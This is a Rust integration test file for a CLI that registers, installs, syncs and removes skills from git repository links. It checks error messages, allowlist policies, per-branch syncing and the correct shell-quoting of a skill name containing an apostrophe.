format!("'{}'", s.replace('\'', r"'\''"))
}
#[test]
fn forget_of_an_emptied_link_hint_shell_quotes_a_quote_carrying_identity() {
let sb = Sandbox::new();
sb.write_and_commit(
"skills/rev'iew/SKILL.md",
"---\ndescription: a quote-carrying item\n---\n# skill\n",
);
assert!(
sb.mind(&["learn", &sb.link("tree/main/skills/rev'iew")])
.success
);
let name = sb.link_name("skills/rev'iew");
let r = sb.mind(&["forget", "skill:rev'iew"]);
assert!(r.success, "forget failed: {} {}", r.stdout, r.stderr);
let quoted = shell_quote(&name);
assert!(
r.stderr.contains(&format!("mind unmeld {quoted}")),
"the hint must shell-quote the quote-carrying identity: {}",
r.stderr
);
assert!(
!r.stderr.contains(&format!("mind unmeld '{name}'")),
"the identity must never be framed in bare single quotes \
(it would break out at the embedded '): {}",
r.stderr
);
assert_eq!(source_count(&sb), 1, "the instance stays registered");
let start = r.stderr.find("`mind ").expect("remedy present") + 1;
let rest = &r.stderr[start..];
let end = rest.find('`').unwrap_or(rest.len());
let cmd = &rest[..end];
let mut argv = shell_split(cmd);
assert_eq!(argv.first().map(String::as_str), Some("mind"));
argv.remove(0);
let args: Vec<&str> = argv.iter().map(String::as_str).collect();
let unmeld = sb.mind(&args);
assert!(
unmeld.success,
"the round-tripped remedy must succeed: {} {}",
unmeld.stdout, unmeld.stderr
);
assert_eq!(
source_count(&sb),
0,
"the round-tripped `mind unmeld` must have dropped exactly the aliased instance"
);
}
fn shell_split(s: &str) -> Vec<String> {
let chars: Vec<char> = s.chars().collect();
let n = chars.len();
let mut i = 0;
let mut tokens = Vec::new();
let mut cur = String::new();
let mut in_token = false;
while i < n {
let c = chars[i];
if c.is_whitespace() {
if in_token {
tokens.push(std::mem::take(&mut cur));
in_token = false;
}
i += 1;
continue;
}
in_token = true;
if c == '\'' {
i += 1;
while i < n && chars[i] != '\'' {
cur.push(chars[i]);
i += 1;
}
assert!(i < n, "unterminated single quote in {s:?}");
i += 1;
} else if c == '\\' && i + 1 < n && chars[i + 1] == '\'' {
cur.push('\'');
i += 2;
} else {
cur.push(c);
i += 1;
}
}
if in_token {
tokens.push(cur);
}
tokens
}
#[test]
fn curated_sources_entry_can_be_an_item_link() {
let lib = Sandbox::new();
let curator = Sandbox::bare("curator");
curator.write_and_commit(
"mind.toml",
&format!(
"[discover]\nsources = [{{ source = \"{}\" }}]\n",
lib.link("tree/main/skills/review")
),
);
let spec = curator.source.to_string_lossy().into_owned();
let r = curator.mind(&["meld", &spec, "--register-only"]);
assert!(r.success, "curator meld failed: {} {}", r.stdout, r.stderr);
let sources = curator.mind(&["recall", "--sources"]);
assert!(
sources.stdout.contains("#skills/review"),
"the curated link instance must register: {}",
sources.stdout
);
}
#[test]
fn link_registers_no_nested_sources() {
let other = Sandbox::new();
let sb = Sandbox::new();
sb.write_and_commit(
"mind.toml",
&format!(
"[discover]\nsources = [{{ source = \"{}\" }}]\n",
other.source.to_string_lossy()
),
);
let r = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
assert!(r.success, "learn failed: {} {}", r.stdout, r.stderr);
assert_eq!(
source_count(&sb),
1,
"the linked repo's [discover].sources must not be walked"
);
}
#[test]
fn meld_url_with_namespace_prefixes_the_skill() {
let sb = Sandbox::new();
let r = sb.mind(&[
"meld",
&sb.link("tree/main/skills/review"),
"--namespace",
"pfx",
"--register-only",
]);
assert!(r.success, "meld failed: {} {}", r.stdout, r.stderr);
let probe = sb.mind(&["probe"]);
assert!(
probe.stdout.contains("skill:pfx:review"),
"the link's skill must carry the namespace: {}",
probe.stdout
);
}
#[test]
fn policy_allowlist_matches_the_base_repo_identity() {
let sb = Sandbox::new();
let policy_path = sb.base.join("policy.toml");
write(
&policy_path,
"[sources]\nlock = true\nallow = [\"local/*/agents\"]\n",
);
let policy = policy_path.to_string_lossy().into_owned();
let r = sb.mind_env(
&["learn", &sb.link("tree/main/skills/review")],
&[("MIND_POLICY_FILE", policy.as_str())],
);
assert!(
r.success,
"an allowed repo must allow links into it: {} {}",
r.stdout, r.stderr
);
let other = Sandbox::new();
let deny_path = other.base.join("policy.toml");
write(
&deny_path,
"[sources]\nlock = true\nallow = [\"local/*/other\"]\n",
);
let deny = deny_path.to_string_lossy().into_owned();
let r = other.mind_env(
&["learn", &other.link("tree/main/skills/review")],
&[("MIND_POLICY_FILE", deny.as_str())],
);
assert!(
!r.success,
"a non-allowed repo must refuse links: {}",
r.stdout
);
}
#[test]
fn learn_blob_url_not_ending_in_skill_md_reports_bad_item_link() {
let sb = Sandbox::new();
let url = sb.link("blob/main/skills/review");
let r = sb.mind(&["learn", &url]);
assert!(!r.success, "a malformed blob link must fail: {}", r.stdout);
assert!(
r.stderr.contains(&url),
"the error must name the offending URL: {}",
r.stderr
);
assert!(
r.stderr.contains("tree/<ref>") && r.stderr.contains("blob/<ref>"),
"the error must name the expected link shapes: {}",
r.stderr
);
assert!(
!r.stderr.contains("not a valid repo spec"),
"the error must not fall back to the generic repo-spec message: {}",
r.stderr
);
assert_eq!(source_count(&sb), 0, "nothing registered on failure");
}
#[test]
fn learn_tree_url_with_no_path_reports_bad_item_link() {
let sb = Sandbox::new();
let url = sb.link("tree/main");
let r = sb.mind(&["learn", &url]);
assert!(!r.success, "a pathless tree link must fail: {}", r.stdout);
assert!(
r.stderr.contains(&url),
"the error must name the offending URL: {}",
r.stderr
);
assert!(
r.stderr.contains("tree/<ref>") && r.stderr.contains("blob/<ref>"),
"the error must name the expected link shapes: {}",
r.stderr
);
assert!(
!r.stderr.contains("not a valid repo spec"),
"the error must not fall back to the generic repo-spec message: {}",
r.stderr
);
assert_eq!(source_count(&sb), 0, "nothing registered on failure");
}
#[test]
fn meld_plain_bad_spec_keeps_the_generic_invalid_repo_spec_message() {
let sb = Sandbox::new();
let r = sb.mind(&["meld", "notarealspec"]);
assert!(!r.success, "a malformed spec must fail: {}", r.stdout);
assert!(
r.stderr.contains("not a valid repo spec"),
"a marker-less bad spec must keep the generic message: {}",
r.stderr
);
assert_eq!(source_count(&sb), 0, "nothing registered on failure");
}
#[test]
fn json_error_envelope_kind_is_bad_item_link() {
let sb = Sandbox::new();
let url = sb.link("tree/main");
let r = sb.mind(&["learn", &url, "--json"]);
assert!(!r.success, "a pathless tree link must fail: {}", r.stdout);
let v: serde_json::Value = serde_json::from_str(r.stdout.trim())
.unwrap_or_else(|e| panic!("stdout is not valid JSON ({e}): {:?}", r.stdout));
assert_eq!(v["schema"], 1, "schema must be 1: {}", r.stdout);
let err = &v["error"];
assert_eq!(
err["kind"], "bad-item-link",
"kind must be bad-item-link, not the generic invalid-repo-spec: {}",
r.stdout
);
let msg = err["message"].as_str().unwrap_or("");
assert!(
msg.contains(&url),
"message must name the offending URL: {msg}"
);
assert!(
!r.stderr.contains("error:"),
"main error handler must not write to stderr under --json: {}",
r.stderr
);
assert_eq!(source_count(&sb), 0, "nothing registered on failure");
}
#[test]
fn link_instances_at_different_refs_keep_independent_commits_after_sync() {
let sb = Sandbox::new(); git(&sb.source, &["checkout", "-b", "other"]);
sb.write_and_commit(
"skills/extra/SKILL.md",
"---\ndescription: A second skill\n---\n# extra skill\non the other branch\n",
);
git(&sb.source, &["checkout", "main"]);
assert!(
sb.mind(&["learn", &sb.link("tree/main/skills/review")])
.success
);
assert!(
sb.mind(&["learn", &sb.link("tree/other/skills/extra")])
.success
);
let extra_initial =
std::fs::read_to_string(sb.claude_home.join("skills/extra/SKILL.md")).unwrap();
assert!(
extra_initial.contains("on the other branch"),
"extra must install from `other`'s content: {extra_initial}"
);
git(&sb.source, &["checkout", "main"]);
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: Review the diff for bugs\n---\n# review skill\nmain edit\n",
);
git(&sb.source, &["checkout", "other"]);
sb.write_and_commit(
"skills/extra/SKILL.md",
"---\ndescription: A second skill\n---\n# extra skill\nother edit\n",
);
git(&sb.source, &["checkout", "main"]);
assert!(sb.mind(&["sync"]).success, "sync must succeed");
let up = sb.mind(&["upgrade", "--yes"]);
assert!(up.success, "upgrade failed: {} {}", up.stdout, up.stderr);
let review_final =
std::fs::read_to_string(sb.claude_home.join("skills/review/SKILL.md")).unwrap();
let extra_final =
std::fs::read_to_string(sb.claude_home.join("skills/extra/SKILL.md")).unwrap();
assert!(
review_final.contains("main edit"),
"review must reflect main's own edit: {review_final}"
);
assert!(
!review_final.contains("other edit"),
"review must not be clobbered by other's content: {review_final}"
);
assert!(
extra_final.contains("other edit"),
"extra must reflect other's own edit: {extra_final}"
);
assert!(
!extra_final.contains("main edit"),
"extra must not be clobbered by main's content: {extra_final}"
);
}
#[test]
fn unmeld_of_one_link_instance_leaves_the_others_clone_and_skill_intact() {
let sb = Sandbox::new();
assert!(
sb.mind(&["learn", &sb.link("tree/main/skills/review")])
.success
);
assert!(
sb.mind(&["learn", &sb.link("tree/main/skills/extra")])
.success
);
let name_review = sb.link_name("skills/review");
let r = sb.mind(&["unmeld", &name_review, "--yes"]);
assert!(r.success, "unmeld failed: {} {}", r.stdout, r.stderr);
assert!(
!sb.claude_home.join("skills/review").exists(),
"the unmelded instance's skill must be uninstalled"
);
assert!(
sb.claude_home.join("skills/extra").exists(),
"the surviving instance's installed skill must remain"
);
let extra_content =
std::fs::read_to_string(sb.claude_home.join("skills/extra/SKILL.md")).unwrap();
assert!(extra_content.contains("A second skill"));
let sources = sb.mind(&["recall", "--sources"]).stdout;
assert!(
sources.contains("#skills/extra"),
"the surviving instance must stay registered: {sources}"
);
assert!(
!sources.contains("#skills/review"),
"the unmelded instance must be gone: {sources}"
);
let survivor_clone = sb
.mind_home
.join("sources")
.join("local")
.join(sb.base.file_name().unwrap())
.join(format!(
"{}#skills%2Fextra",
sb.source.file_name().unwrap().to_string_lossy()
));
assert!(
survivor_clone.join(".git").is_dir(),
"the surviving instance's own clone dir must remain: {survivor_clone:?}"
);
let r2 = sb.mind(&["sync"]);
assert!(
r2.success,
"sync after unmeld must still succeed: {} {}",
r2.stdout, r2.stderr
);
}
#[test]
fn dump_emits_a_reconstructed_link_entry_not_a_skip_note() {
let sb = Sandbox::new();
assert!(
sb.mind(&["learn", &sb.link("tree/main/skills/review")])
.success
);
let r = sb.mind(&["dump"]);
assert!(r.success, "dump failed: {} {}", r.stdout, r.stderr);
assert!(
!r.stderr.contains("skipping item link"),
"dump must no longer skip an item-link instance: {}",
r.stderr
);
assert!(
r.stdout.contains("skills/review"),
"an entry reconstructing the link instance must be emitted: {}",
r.stdout
);
}